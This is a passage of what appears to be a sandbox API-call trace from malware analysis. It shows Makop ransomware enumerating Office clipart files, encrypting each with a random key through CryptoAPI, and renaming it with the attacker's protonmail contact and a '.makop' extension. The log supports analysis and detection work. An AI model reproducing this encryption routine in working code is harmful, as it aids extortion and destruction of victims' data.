0x48a0000 [0133.463] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0133.463] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0133.463] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0133.463] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0133.463] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0133.463] GetProcessHeap () returned 0x48a0000 [0133.463] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0133.463] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0133.464] CryptDestroyKey (hKey=0x48c7128) returned 1 [0133.464] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0133.470] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0133.472] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0133.472] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0133.472] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0133.472] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0133.472] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0133.472] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0133.472] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.473] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x2440, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x2440, lpOverlapped=0x0) returned 1 [0133.474] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2440, dwBufLen=0x2440 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2440) returned 1 [0133.474] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.475] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x2440, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x2440, lpOverlapped=0x0) returned 1 [0133.475] CryptDestroyKey (hKey=0x48c7128) returned 1 [0133.475] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x2514, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.475] SetEndOfFile (hFile=0xf0) returned 1 [0133.482] GetProcessHeap () returned 0x48a0000 [0133.482] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0133.482] GetProcessHeap () returned 0x48a0000 [0133.482] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0133.482] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285484.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0133.482] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285484.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285484.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285484.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285484.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0133.484] CloseHandle (hObject=0xf0) returned 1 [0133.484] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66116650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x795c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0285780.WMF", cAlternateFileName="")) returned 1 [0133.484] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285780.WMF") returned 63 [0133.484] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285780.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285780.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0133.485] GetProcessHeap () returned 0x48a0000 [0133.485] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0133.485] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0133.485] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0133.486] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0133.491] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0133.491] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0133.491] GetProcessHeap () returned 0x48a0000 [0133.492] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0133.492] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0133.492] CryptDestroyKey (hKey=0x48c7128) returned 1 [0133.492] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0133.492] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0133.493] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0133.493] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0133.493] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0133.493] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0133.493] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0133.494] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0133.494] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.494] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x795c, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x795c, lpOverlapped=0x0) returned 1 [0133.496] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x7960, dwBufLen=0x7960 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x7960) returned 1 [0133.496] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.496] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x7960, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x7960, lpOverlapped=0x0) returned 1 [0133.497] CryptDestroyKey (hKey=0x48c7128) returned 1 [0133.497] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x7a34, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.497] SetEndOfFile (hFile=0xf0) returned 1 [0133.505] GetProcessHeap () returned 0x48a0000 [0133.505] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0133.505] GetProcessHeap () returned 0x48a0000 [0133.505] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0133.506] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285780.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0133.506] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285780.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285780.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285780.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285780.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0133.507] CloseHandle (hObject=0xf0) returned 1 [0133.507] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56667970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x523e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0285782.WMF", cAlternateFileName="")) returned 1 [0133.508] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285782.WMF") returned 63 [0133.508] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285782.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285782.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0133.510] GetProcessHeap () returned 0x48a0000 [0133.510] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0133.510] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0133.510] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0133.511] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x2, lpOverlapped=0x0) returned 1 [0133.515] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0133.515] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0133.515] GetProcessHeap () returned 0x48a0000 [0133.515] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0133.515] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0133.515] CryptDestroyKey (hKey=0x48c7128) returned 1 [0133.515] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0133.515] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0133.516] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0133.516] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0133.516] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0133.516] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0133.516] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0133.516] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0133.516] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.517] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x523e, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x523e, lpOverlapped=0x0) returned 1 [0133.519] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x5240, dwBufLen=0x5240 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x5240) returned 1 [0133.519] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.519] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x5240, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x5240, lpOverlapped=0x0) returned 1 [0133.520] CryptDestroyKey (hKey=0x48c7128) returned 1 [0133.520] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x5314, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.520] SetEndOfFile (hFile=0xf0) returned 1 [0133.527] GetProcessHeap () returned 0x48a0000 [0133.527] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0133.527] GetProcessHeap () returned 0x48a0000 [0133.527] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0133.527] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285782.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0133.528] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285782.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285782.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285782.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285782.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0133.529] CloseHandle (hObject=0xf0) returned 1 [0133.529] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66116650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2eb4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0285792.WMF", cAlternateFileName="")) returned 1 [0133.529] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285792.WMF") returned 63 [0133.529] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285792.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285792.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0133.530] GetProcessHeap () returned 0x48a0000 [0133.530] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0133.531] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0133.531] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0133.531] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0133.537] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0133.537] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0133.537] GetProcessHeap () returned 0x48a0000 [0133.537] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0133.537] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0133.537] CryptDestroyKey (hKey=0x48c7128) returned 1 [0133.537] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0133.537] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0133.537] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0133.538] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0133.538] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0133.538] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0133.538] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0133.538] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0133.538] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.538] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x2eb4, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x2eb4, lpOverlapped=0x0) returned 1 [0133.540] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2ec0, dwBufLen=0x2ec0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2ec0) returned 1 [0133.540] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.540] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x2ec0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x2ec0, lpOverlapped=0x0) returned 1 [0133.541] CryptDestroyKey (hKey=0x48c7128) returned 1 [0133.541] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x2f94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.541] SetEndOfFile (hFile=0xf0) returned 1 [0133.547] GetProcessHeap () returned 0x48a0000 [0133.547] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0133.548] GetProcessHeap () returned 0x48a0000 [0133.548] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0133.548] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285792.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0133.548] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285792.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285792.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285792.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285792.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0133.550] CloseHandle (hObject=0xf0) returned 1 [0133.550] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56667970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3550, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0285796.WMF", cAlternateFileName="")) returned 1 [0133.550] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285796.WMF") returned 63 [0133.550] CreateFileW 